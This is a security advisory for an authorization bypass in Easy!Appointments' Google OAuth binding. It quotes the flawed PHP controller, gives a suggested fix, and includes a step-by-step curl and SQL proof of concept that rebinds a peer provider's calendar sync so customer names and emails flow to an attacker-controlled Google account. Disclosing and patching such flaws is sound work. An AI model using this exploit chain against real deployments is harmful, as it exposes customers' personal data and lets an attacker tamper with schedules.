Skip to content

Easy!Appointments: Authorization bypass in Google OAuth provider binding lets any backend user rebind a peer provider's Google sync

Low severity GitHub Reviewed Published Jun 15, 2026 in alextselegidis/easyappointments • Updated Jul 29, 2026

Package

composer alextselegidis/easyappointments (Composer)

Affected versions

<= 1.5.2

Patched versions

None

Description

Summary

Google::oauth at application/controllers/Google.php:278 stores its URL-supplied provider_id in the session, and oauth_callback saves the issued Google OAuth token against that row without checking the caller owns the provider. Any logged-in backend user (admin, provider, or secretary) rebinds a peer provider's Google sync to a Google account they control. The peer's appointments then sync into the attacker's calendar with each customer's name and email attached as attendee data.

Preconditions

  • Attacker holds a backend login on the target instance (admin, provider, or secretary). The customer role cannot log in.
  • The instance has Google Calendar OAuth configured at application/config/google.php - i.e. any deployment that uses the Google sync feature at all.
  • Default deployment per the project's own docker-compose.yml; no non-default flags required.

Details

// application/controllers/Google.php:278-289
public function oauth(string $provider_id): void
{
    if (!$this->session->userdata('user_id')) {
        show_error('Forbidden', 403);
    }

    // Store the provider id for use on the callback function.
    session(['oauth_provider_id' => $provider_id]);                       // (*) attacker-chosen id stored unchecked

    // Redirect browser to google user content page.
    header('Location: ' . $this->google_sync->get_auth_url());
}
// application/controllers/Google.php:305-337
public function oauth_callback(): void
{
    if (!session('user_id')) {
        abort(403, 'Forbidden');
    }

    $code = request('code');
    if (empty($code)) { response('Code authorization failed.'); return; }

    $token = $this->google_sync->authenticate($code);
    if (empty($token)) { response('Token authorization failed.'); return; }

    $oauth_provider_id = session('oauth_provider_id');
    if ($oauth_provider_id) {
        $this->providers_model->set_setting($oauth_provider_id, 'google_sync', true);                  // (*)
        $this->providers_model->set_setting($oauth_provider_id, 'google_token', json_encode($token));  // (*)
        $this->providers_model->set_setting($oauth_provider_id, 'google_calendar', 'primary');
    } else {
        response('Sync provider id not specified.');
    }
}

The same controller already carries the right gate on every other sync-management entry. select_google_calendar at application/controllers/Google.php:389 and disable_provider_sync at application/controllers/Google.php:423 both refuse the call when the caller is neither an admin nor the provider themselves:

// application/controllers/Google.php:389
if (cannot('edit', PRIV_USERS) && (int) $user_id !== (int) $provider_id) {
    throw new RuntimeException('You do not have the required permissions for this task.');
}

oauth and oauth_callback skip that check. Once the callback runs with oauth_provider_id pointing at a peer provider, the peer's user_settings row is overwritten with the attacker's OAuth token and google_sync is forcibly enabled.

The attack chain that delivers the data:

  • Synchronization::sync_appointment_saved at application/libraries/Synchronization.php:51 runs on every booking save. The path includes the unauthenticated public booking flow (Booking::register at application/controllers/Booking.php:463) and the backend save (Calendar::save_appointment at application/controllers/Calendar.php:306). When $provider['settings']['google_sync'] is truthy the handler reads google_token from the row - now the attacker's - refreshes it, and calls Google_sync::add_appointment.
  • Google_sync::add_appointment at application/libraries/Google_sync.php:184-189 adds the customer as a Google calendar attendee with their first name, last name, and email.
  • The cron-triggered Console::sync -> Google::sync($provider_id) at application/controllers/Google.php:44 walks the existing sync_past_days and sync_future_days windows and pushes every appointment to the attacker's calendar.
  • The same loop deletes the local row whenever the remote event throws or is cancelled (application/controllers/Google.php:186-191); the attacker rolls events out of their Google calendar to delete the victim provider's appointments. Events the attacker creates in their own calendar arrive as unavailability records on the victim's schedule (application/controllers/Google.php:209-254).

Proof of concept

Setup

  1. Clone the repository, pin to the audited release, copy the sample config, and bring up the bundled stack:

    git clone https://github.com/alextselegidis/easyappointments
    cd easyappointments
    git checkout 1.5.2
    cp config-sample.php config.php
    docker compose up -d
    until curl -fsS http://localhost/ -o /dev/null; do sleep 2; done
  2. Run the console installer. The seed sets administrator's password to the literal string administrator (see application/libraries/Instance.php:99):

    docker compose exec -T php-fpm php index.php console install
  3. Configure the install's Google OAuth client. Paste the client id and secret from a Google Cloud project you control into application/config/google.php and add http://localhost/index.php/google/oauth_callback to the project's authorized redirect URIs. This step is already done on any deployment that uses Google sync.

  4. Log in as administrator and persist the cookie jar (the project's session cookie is ea_session):

    export ADMIN_JAR=/tmp/admin.cookies
    curl -s -c $ADMIN_JAR http://localhost/index.php/login -o /dev/null
    CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR)
    curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST http://localhost/index.php/login/validate \
      --data-urlencode "csrf_token=$CSRF" \
      --data-urlencode "username=administrator" \
      --data-urlencode "password=administrator" > /dev/null
  5. Create the attacker provider (the default require_phone_number=1 setting makes that field mandatory). Capture both ids:

    CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR)
    curl -s -b $ADMIN_JAR -X POST http://localhost/index.php/providers/store \
      --data-urlencode "csrf_token=$CSRF" \
      --data-urlencode 'provider[first_name]=Mal' \
      --data-urlencode 'provider[last_name]=Lory' \
      --data-urlencode 'provider[email]=mallory@x.test' \
      --data-urlencode 'provider[phone_number]=+10000000000' \
      --data-urlencode 'provider[timezone]=UTC' \
      --data-urlencode 'provider[language]=english' \
      --data-urlencode 'provider[settings][username]=mallory' \
      --data-urlencode 'provider[settings][password]=Attacker-pw-1' \
      --data-urlencode 'provider[settings][notifications]=0'
    export ATTACKER_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \
      -e "SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='mallory'")
    export VICTIM_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \
      -e "SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='janedoe'")
  6. Log in as the attacker provider into a dedicated cookie jar:

    export ATTACKER_JAR=/tmp/attacker.cookies
    curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null
    CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR)
    curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \
      --data-urlencode "csrf_token=$CSRF" \
      --data-urlencode "username=mallory" \
      --data-urlencode "password=Attacker-pw-1" > /dev/null

Exploit

  1. The attacker, logged in as a regular provider with id $ATTACKER_ID, points /google/oauth/ at the victim provider's id $VICTIM_ID:

    curl -si -b $ATTACKER_JAR "http://localhost/index.php/google/oauth/$VICTIM_ID" | head -5

    Expected: HTTP/1.1 302 Found with Location: https://accounts.google.com/o/oauth2/auth?... - the server accepted the call from a non-owning caller. Verify the session-side effect on disk: docker compose exec -T php-fpm cat storage/sessions/ea_session$(awk '$6=="ea_session"{print $7}' $ATTACKER_JAR) shows oauth_provider_id|s:1:"<VICTIM_ID>" appended to the attacker's session data alongside their own user_id|i:<ATTACKER_ID>.

  2. The attacker copies the ea_session cookie from $ATTACKER_JAR into a real browser, opens the redirect URL, signs in to Google with their own Google account, and grants consent. Google redirects back to http://localhost/index.php/google/oauth_callback?code=... and the app exchanges the code for an access + refresh token.

  3. Confirm the row was rebound. The token, sync flag, and calendar selection now belong to the attacker's Google account but sit on the victim's ea_user_settings:

    docker compose exec -T mysql mysql -uuser -ppassword easyappointments \
      -e "SELECT name, value FROM ea_user_settings WHERE id_users=$VICTIM_ID AND name IN ('google_sync','google_token','google_calendar')"

    Expected: google_sync = 1, google_token = {"access_token":"...","refresh_token":"..."} (attacker's), google_calendar = primary.

  4. Trigger a sync. Any unauthenticated booking against the victim provider now lands in the attacker's calendar:

    CSRF=$(awk '$6=="csrf_cookie"{print $7}' /tmp/booking.cookies)
    curl -s -c /tmp/booking.cookies http://localhost/ -o /dev/null
    CSRF=$(awk '$6=="csrf_cookie"{print $7}' /tmp/booking.cookies)
    curl -s -b /tmp/booking.cookies -X POST http://localhost/index.php/booking/register \
      --data-urlencode "csrf_token=$CSRF" \
      --data-urlencode "post_data[manage_mode]=false" \
      --data-urlencode "post_data[appointment][id_users_provider]=$VICTIM_ID" \
      --data-urlencode "post_data[appointment][id_services]=1" \
      --data-urlencode "post_data[appointment][start_datetime]=2026-06-01 10:00:00" \
      --data-urlencode "post_data[appointment][end_datetime]=2026-06-01 10:30:00" \
      --data-urlencode "post_data[customer][first_name]=Carol" \
      --data-urlencode "post_data[customer][last_name]=Victim" \
      --data-urlencode "post_data[customer][email]=carol@target.test"

    Expected: the attacker's Google calendar receives a new event whose title is the service name, with Carol Victim <carol@target.test> listed as an attendee.

Impact

  • Confidentiality: Reads every appointment booked against the victim provider; the customer's first name, last name, and email attach to each Google calendar event as attendee data (Google_sync.php:184-189).
  • Integrity: Deletes any of the victim provider's appointments by removing the matching event from the attacker's calendar; the next Console::sync removes the local row (Google.php:186-191).
  • Integrity: Inserts arbitrary unavailability records onto the victim provider's schedule by creating events in the attacker's calendar (Google.php:209-254).

Suggestions to fix

This has not been tested - it is illustrative only.

Reject the call unless the caller is an admin or the provider whose row is about to be rewritten - the same gate select_google_calendar and disable_provider_sync already use.

 public function oauth(string $provider_id): void
 {
     if (!$this->session->userdata('user_id')) {
         show_error('Forbidden', 403);
     }

+    if (cannot('edit', PRIV_USERS) && (int) session('user_id') !== (int) $provider_id) {
+        abort(403, 'Forbidden');
+    }
+
     // Store the provider id for use on the callback function.
     session(['oauth_provider_id' => $provider_id]);

     // Redirect browser to google user content page.
     header('Location: ' . $this->google_sync->get_auth_url());
 }

Credit

Dredsen, 2026.

References

Published by the National Vulnerability Database Jul 14, 2026
Published to the GitHub Advisory Database Jul 29, 2026
Reviewed Jul 29, 2026
Last updated Jul 29, 2026

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
High
User interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(3rd percentile)

Weaknesses

Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. Learn more on MITRE.

CVE ID

CVE-2026-52841

GHSA ID

GHSA-8hm4-r66f-29wr

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.